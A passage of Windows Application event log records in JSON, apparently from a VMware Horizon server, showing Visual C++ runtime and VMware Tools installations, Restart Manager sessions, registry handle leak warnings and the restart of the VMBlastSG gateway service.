960 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\FeatureControl\nProcess 2004 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\DataCollection\nProcess 960 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\nProcess 960 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\nProcess 960 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Internet Explorer\\Main\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Children\nProcess 960 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Internet Explorer\\Security\n"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":168270}}
{"@timestamp":1646921070095,"ecs":{"version":"8.4"},"event":{"activity":null,"code":9027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"Desktop Window Manager","sequence":168271}}
{"@timestamp":1646921099024,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu Mar 10 15:04:59 CET 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168272}}
{"@timestamp":1646921099057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:59Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168273}}
{"@timestamp":1646921553921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\ProgramData\\Package Cache\\{6236EBBD-F50F-40B3-B819-8DB0C608308C}v14.28.29913\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi","3624","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168274}}
{"@timestamp":1646921554816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":11707,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D","Data":{"#text":["Product: Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913 -- Installation completed successfully.","(NULL)","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168275}}
{"@timestamp":1646921554817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168276}}
{"@timestamp":1646921554856,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1042,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\ProgramData\\Package Cache\\{6236EBBD-F50F-40B3-B819-8DB0C608308C}v14.28.29913\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi","3624","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168277}}
{"@timestamp":1646921554877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\ProgramData\\Package Cache\\{572DCD10-CF2E-43D1-8151-8BD9AC9086D0}v14.28.29913\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi","3624","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168278}}
{"@timestamp":1646921554030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:34.030070Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168279}}
{"@timestamp":1646921554241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:34.241127Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168280}}
{"@timestamp":1646921554830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:34.030070Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168281}}
{"@timestamp":1646921554833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:34.241127Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168282}}
{"@timestamp":1646921554905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:34.905306Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168283}}
{"@timestamp":1646921556220,"ecs":{"version":"8.4"},"event":{"activity":null,"code":11707,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D","Data":{"#text":["Product: Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913 -- Installation completed successfully.","(NULL)","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168284}}
{"@timestamp":1646921556221,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168285}}
{"@timestamp":1646921556244,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1042,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\ProgramData\\Package Cache\\{572DCD10-CF2E-43D1-8151-8BD9AC9086D0}v14.28.29913\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi","3624","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168286}}
{"@timestamp":1646921555404,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:35.403442Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168287}}
{"@timestamp":1646921556229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:34.905306Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168288}}
{"@timestamp":1646921556232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:35.403442Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168289}}
{"@timestamp":1646921558655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\ProgramData\\Package Cache\\{EECDD137-13DA-46ED-ADA0-BDF7F8BE65B8}v14.28.29913\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi","7432","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168290}}
{"@timestamp":1646921559718,"ecs":{"version":"8.4"},"event":{"activity":null,"code":11707,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D","Data":{"#text":["Product: Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913 -- Installation completed successfully.","(NULL)","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168291}}
{"@timestamp":1646921559719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168292}}
{"@timestamp":1646921558736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:38.736186Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168293}}
{"@timestamp":1646921558971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:38.971006Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168294}}
{"@timestamp":1646921559071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:39.071031Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168295}}
{"@timestamp":1646921559208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:39.208071Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168296}}
{"@timestamp":1646921559731,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:38.736186Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168297}}
{"@timestamp":1646921559735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:39.071031Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168298}}
{"@timestamp":1646921559744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1042,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\ProgramData\\Package Cache\\{EECDD137-13DA-46ED-ADA0-BDF7F8BE65B8}v14.28.29913\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi","7432","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168299}}
{"@timestamp":1646921559787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\ProgramData\\Package Cache\\{620A7633-7A09-42A8-8580-076A4483C4B0}v14.28.29913\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi","7432","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168300}}
{"@timestamp":1646921560614,"ecs":{"version":"8.4"},"event":{"activity":null,"code":11707,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D","Data":{"#text":["Product: Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913 -- Installation completed successfully.","(NULL)","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168301}}
{"@timestamp":1646921560615,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168302}}
{"@timestamp":1646921560644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1042,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\ProgramData\\Package Cache\\{620A7633-7A09-42A8-8580-076A4483C4B0}v14.28.29913\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi","7432","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168303}}
{"@timestamp":1646921559748,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:38.971006Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168304}}
{"@timestamp":1646921559750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:39.208071Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168305}}
{"@timestamp":1646921559818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:39.818224Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168306}}
{"@timestamp":1646921559953,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:39.953260Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168307}}
{"@timestamp":1646921560623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:39.818224Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168308}}
{"@timestamp":1646921560627,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:39.953260Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168309}}
{"@timestamp":1646921563315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\Common Files\\VMware\\InstallerCache\\{1FF5D624-5515-4343-837A-E54C101573E6}.msi","7592","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168310}}
{"@timestamp":1646921577253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":260,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":168311}}
{"@timestamp":1646921577253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":272,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":168312}}
{"@timestamp":1646921577259,"ecs":{"version":"8.4"},"event":{"activity":null,"code":108,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMTools","sequence":168313}}
{"@timestamp":1646921577235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10000,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:57.235129Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168314}}
{"@timestamp":1646921577260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10002,"custom_data":{"UserData":{"RmApplicationEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"AppType":3,"AppVersion":0,"DisplayName":"VMware Tools","Files":{"File":[]},"FullPath":"C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe","Pid":2200,"RmSessionId":0,"Status":262146,"TSSessionId":0,"nFiles":0}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168315}}
{"@timestamp":1646921577261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-03-10T14:12:57.235129Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":168316}}
{"@timestamp":1646921587033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168317}}
{"@timestamp":1646921617044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:37Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168318}}
{"@timestamp":1646921621909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":105,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMTools","sequence":168319}}
{"@timestamp":1646921633970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":11707,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D","Data":{"#text":["Product: VMware Tools -- Installation completed successfully.","(NULL)","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168320}}
{"@timestamp":1646921633970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168321}}
{"@timestamp":1646921634031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1042,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\Common Files\\VMware\\InstallerCache\\{1FF5D624-5515-4343-837A-E54C101573E6}.msi","7592","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":168322}}
{"@timestamp":1646921642152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":9027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"Desktop Window Manager","sequence":168323}}
{"@timestamp":1646921641638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1530,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_HIVE_LEAK"},"Detail":"5 user registry handles leaked from \\Registry\\User\\S-1-5-21-1078081533-1645522239-682003330-1192:\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Parents\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\nProcess 68 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\nProcess 2004 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\SOFTWARE\\Policies\\Microsoft\\Windows\\DataCollection\nProcess 708 (\\Device\\HarddiskVolume5\\Windows\\System32\\svchost.exe) has opened key \\REGISTRY\\USER\\S-1-5-21-1078081533-1645522239-682003330-1192\\System\\GameConfigStore\\Children\n"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":168324}}
{"@timestamp":1646921647055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:07Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168325}}
{"@timestamp":1646921653418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":5,"custom_data":{"EventData":{"Binary":"","User":"ENGINEERING-AC\\admin-drescher"}},"module":"Application","provider":"Microsoft-Windows-Search-ProfileNotify","sequence":168326}}
{"@timestamp":1646921653446,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1534,"custom_data":{"EventData":{"#attributes":{"Name":"EVENT_PROFILE_NOTIFICATION_FAIL"},"Component":"{2c86c843-77ae-4284-9722-27d65366543c}","Error":"Not implemented\r\n","Event":"Create"}},"module":"Application","provider":"Microsoft-Windows-User Profiles Service","sequence":168327}}
{"@timestamp":1646921708696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:08Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168328}}
{"@timestamp":1646921722494,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1001,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"922E0000932E0000D6050000","binaryDataSize":12,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":168329}}
{"@timestamp":1646921722606,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1000,"custom_data":{"UserData":{"EventXML":{"#attributes":{"xmlns":"LoadPerf"},"binaryData":"942E0000642F0000952E0000652F0000","binaryDataSize":16,"param1":"WmiApRpl","param2":"WmiApRpl"}}},"module":"Application","provider":"Microsoft-Windows-LoadPerf","sequence":168330}}
{"@timestamp":1646921738702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:38Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168331}}
{"@timestamp":1646921777323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:14:17Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168332}}
{"@timestamp":1646921807328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:47Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168333}}
{"@timestamp":1646921808487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","STOP"]}}},"module":"Application","provider":"nssm","sequence":168334}}
{"@timestamp":1646921808489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1011,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":168335}}
{"@timestamp":1646921809998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","4448","3221225786"]}}},"module":"Application","provider":"nssm","sequence":168336}}
{"@timestamp":1646921810001,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["4448","4448","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":168337}}
{"@timestamp":1646921845820,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-03-16T15:13:25Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168338}}
{"@timestamp":1646921847148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1040,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","START"]}}},"module":"Application","provider":"nssm","sequence":168339}}
{"@timestamp":1646921847211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":168340}}
{"@timestamp":1646921847211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":168341}}
{"@timestamp":1646921849508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":168342}}
{"@timestamp":1646921874211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":9027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"Desktop Window Manager","sequence":168343}}
